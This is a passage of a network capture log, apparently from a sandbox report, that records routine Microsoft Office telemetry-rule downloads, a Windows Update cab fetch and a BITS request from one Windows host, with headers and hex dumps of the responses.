Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:36 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:36 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 98e24ef8-f01e-0052-0940-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210436Z-15b8b599d88pxmdghC1TEBux9c00000000kg00000000dzq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:36 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:36 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:36 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210436Z-1777c6cb754gvvgfhC1TEBz4rg0000000bmg00000000vwca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:36 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:36 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:37 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:36 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: f9d2b1a4-b01e-003d-337e-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210436Z-174c587ffdfks6tlhC1TEBeza400000000dg00000000795c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:38 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:39 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:38 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 79b51860-701e-0021-623a-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210438Z-174c587ffdf59vqchC1TEByk6800000000f000000000mw8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:39 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:38 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:39 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210438Z-15b8b599d886w4hzhC1TEBb4ug00000000n0000000001rfw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:38 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:38 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210438Z-174c587ffdfmlsmvhC1TEBvyks00000000m000000000kd0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:39 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:38 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:38 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210438Z-178bfbc474bmqmgjhC1NYCy16c000000020g00000000sf0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:39 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:38 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:39 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:39 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 38a668eb-401e-00ac-34a1-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210439Z-15b8b599d88tr2flhC1TEB5gk400000000qg000000001bn4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:39 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49759	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:39 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ob33m3YsYDGcS77&MD=6go2PWKd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-21 21:04:40 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 74965b2a-c1ee-4a2f-9a76-466163f695bd MS-RequestId: 94026861-a4ac-4418-a821-4dacad338598 MS-CV: JpufqnurzE+tzqRw.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 21:04:39 GMT Connection: close Content-Length: 24490
2024-11-21 21:04:40 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-21 21:04:40 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	49771	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:40 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 21:04:40 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=157251 Date: Thu, 21 Nov 2024 21:04:40 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:40 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210441Z-174c587ffdfcj798hC1TEB9bq400000000kg00000000qrfk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:40 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a7625850-801e-007b-654c-3ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210441Z-r1d97b99577kk29chC1TEBemmg0000000aug00000000vwus x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
